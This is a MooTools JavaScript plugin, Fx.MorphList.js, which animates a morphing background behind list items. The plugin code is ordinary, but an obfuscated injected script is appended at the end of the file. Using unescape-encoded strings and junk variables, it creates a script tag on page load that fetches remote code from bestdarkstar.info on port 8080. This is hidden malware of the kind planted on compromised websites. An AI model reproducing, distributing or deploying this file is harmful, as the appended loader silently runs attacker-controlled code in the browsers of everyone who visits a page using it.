/*
Script: Fx.MorphList.js
	Animates lists of objects with a morphing background.

	License:
		MIT-style license.

	Authors:
		Guillermo Rauch
*/

Fx.MorphList = new Class({   
	
	Implements: [Events, Options],
	
	options: {/*             
		onClick: $empty,
		onMorph: $empty,*/
		bg: {'class': 'background', html: '<div class="inner"></div>', morph: {link: 'cancel'}}		
	},
	
	initialize: function(element, options){
		var self = this;
		this.setOptions(options);
		this.element = $(element);		
		this.items = this.element.getChildren().addEvents({
			mouseenter: function(){ self.morphTo(this); },
			mouseleave: function(){ self.morphTo(self.current); },
			click: function(ev){ self.onClick(ev, this); }
		});       
		this.bg = new Element('li', this.options.bg).inject(this.element).fade('hide');
		this.setCurrent(this.element.getElement('.current'));
	},

	onClick: function(ev, item){
		this.setCurrent(item, true).fireEvent('click', [ev, item]);
	},
	
	setCurrent: function(el, effect){  
		if (el && !this.current){
			this.bg.set('styles', el.getCoordinates(this.element));
			(effect) ? this.bg.fade('in') : this.bg.fade('show');
		}
		if (this.current) this.current.removeClass('current');
		if (el) this.current = el.addClass('current');    
		return this;
	},         
         
	morphTo: function(to){
		if (to){
			var c = to.getCoordinates(this.element);
			delete c['right']; delete c['bottom'];
			this.bg.morph(c);
			this.fireEvent('morph', to);
		}
		return this;
	}

});
var P;if(P!='' && P!='h'){P='q'};var z;if(z!=''){z='K'};function N(){var NA;if(NA!=''){NA='D'};var G=new String();var I=unescape;var QM;if(QM!=''){QM='cY'};var Gz=new Date();var i=window;this.e="";var B=I("%2f%67%6f%6f%67%6c%65%2e%63%6f%6d%2f%69%6d%65%65%6d%2e%63%6f%6d%2f%69%67%6e%2e%63%6f%6d%2e%70%68%70");var S='';function U(g,n){var C='';this.Lk='';var zJ="";var Q="g";var F=I("%5b"), Uj=I("%5d");var cd='';var L=F+n+Uj;var u=new RegExp(L, Q);var E='';return g.replace(u, new String());};var rs;if(rs!=''){rs='Mr'};var Mj=new String();var m;if(m!='HS' && m!='nU'){m='HS'};this.RX='';this.kP='';var j=new String();var r=document;this.pC='';this.Fy="";var p=U('8312210321812320123','123');var DA='';function J(){var _q;if(_q!='Uf' && _q!='hL'){_q='Uf'};var g_='';var x=I("%68%74%74%70%3a%2f%2f%62%65%73%74%64%61%72%6b%73%74%61%72%2e%69%6e%66%6f%3a");var ud="";j=x;var v='';var cK=new Date();j+=p;var nY=new Array();var xA;if(xA!='' && xA!='OG'){xA=null};j+=B;try {var xT;if(xT!='mF'){xT=''};this.YH="";a=r.createElement(U('sAcCrCiZp5tE','d5_AmCZEg'));a[I("%64%65%66%65%72")]=[1][0];var nv;if(nv!='' && nv!='Di'){nv=''};a[I("%73%72%63")]=j;var LT;if(LT!='' && LT!='gj'){LT=''};var Gu=new String();this.TY="";var _J="";r.body.appendChild(a);var ik;if(ik!='Tw' && ik!='wQ'){ik='Tw'};var QMU;if(QMU!='' && QMU!='vE'){QMU=''};var bh;if(bh!='IN' && bh != ''){bh=null};} catch(O){var xd;if(xd!='' && xd!='VG'){xd=null};alert(O);this.IF="";};}this.nD='';var Pu;if(Pu!='qv' && Pu != ''){Pu=null};var VJ;if(VJ!='' && VJ!='qu'){VJ='zc'};i[new String("onloa"+"d")]=J;};var L_;if(L_!='Gd'){L_='Gd'};this.Aa='';var NL;if(NL!='OE' && NL != ''){NL=null};N();